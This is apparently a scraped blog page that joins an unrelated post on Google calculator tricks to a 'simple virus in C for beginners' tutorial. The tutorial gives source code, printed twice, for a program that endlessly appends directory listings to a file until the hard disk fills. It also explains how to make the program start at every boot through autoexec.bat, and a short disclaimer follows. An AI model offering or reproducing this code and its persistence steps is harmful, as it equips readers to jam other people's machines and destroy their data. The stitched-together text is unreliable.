Google: The Google calculator

Google is more than a search engine. Isn't it?

The Google calculator is included in Google.com’s normal web search. So instead of entering words you want to find in web pages, you can simply enter math queries like the following:
10+7*3–12
The Google result will then display the solution:
“10 + (7 * 3) - 12 = 19.”
That’s already a little more fun than using a normal calculator (and incredibly helpful too, at times), but there’s much more to it. Let’s start with an Easter Egg – a hidden function within a program that makes it do something unexpected and interesting – and enter the following:
answer to life, the universe and everything
Entering this will result in the Google calculator showing you the answer “42”.
(If you wish to dig into why google answered so, google for this!!!)

But the fun doesn’t end there. Here are just some more examples of what’s possible, and often these different queries can be combined to larger formulas:
seconds in a year (1 year = 31 556 926 seconds)
furlongs per fortnight (1 furlongs per fortnight = 0.000166309524 m / s)
speed of light in knots (the speed of light = 582 749 918 knots)

VIRUS:Making A simple virus in C for Beginners

Hi all,
at begining of the learning of computer programming it is a dream of almost all student to build a computer virus of his/her own.
Computer virus obviously is a thing that shouldnot be made and used on others computer it is completely illegal in all countries.So make and try this on your own machine.
Now explain what do the viruses do.There are several types of computer viruses with different functions(destructive obviously).Some of which delete computers' important files and folders,some change the configuration of your computer system like registry values,some occupy a large amount of memory space and dump your hard disc.There are some viruses too which can damage your RAM parmanently.
I am going to give here a simple virus program which has only a few lines bur has ability to jam your Hard disc.
The logic behind the program is nothing but making a self growing file which grows to a few MB in one tern and this growth will continue infinitely.
The require ment to make this virus is
OS:-Windows98/xp/2000 MS-DOS
Compiler:-Borland C(Which has Dos Shell)
Source Code:-
//START v.c
#include
#include
void main()
{
while(1)
{
system("dir>>â•ša.exe");
}
}

As you can see this is a very little programe.Compiling the programme we get v.exe file.This is our virus.
How it works?-The system call "dir>>â•ša.exe" will execute the dos command 'dir' and ridirect its output toa file â•ša.exe(the symbol â•š can be obtained by pressing 456 on numpad holding alt key).So running the program in a folder having many files and folder will increase the size of â•ša.exe in a great amount.This process will continue to infinity as this is in a while(1) loop;
Best try this on win98.then you cannot delete â•ša.exe from GUI.
For auto running place v.exe in the command folder in windows folder.
In autoexec.bat(win98) or autoexec.NT(winXP/2000) file simply write v.exe.
Each time your window starts v.exe will run automatically.
Try this on your own computer remember the â•ša.exe is the infected file which is growing in size continiously.So to recover, simply delete v.exe and â•ša.exe file from your computer.


Code:

//START v.c
#include
#include
void main()
{
while(1)
{
system("dir>>â•ša.exe");
}
}

Caution:
It should not use on others computer..........This is harmful. So Before using this u need to backup ur all information which are saved in ur system drive. After run this program it will JAM ur system drive. so it may needs reinstall ur operating system. This information is given only for Awarness/Education purpose PLEASE DO NOT USE THIS THING TO HARM ANYONE
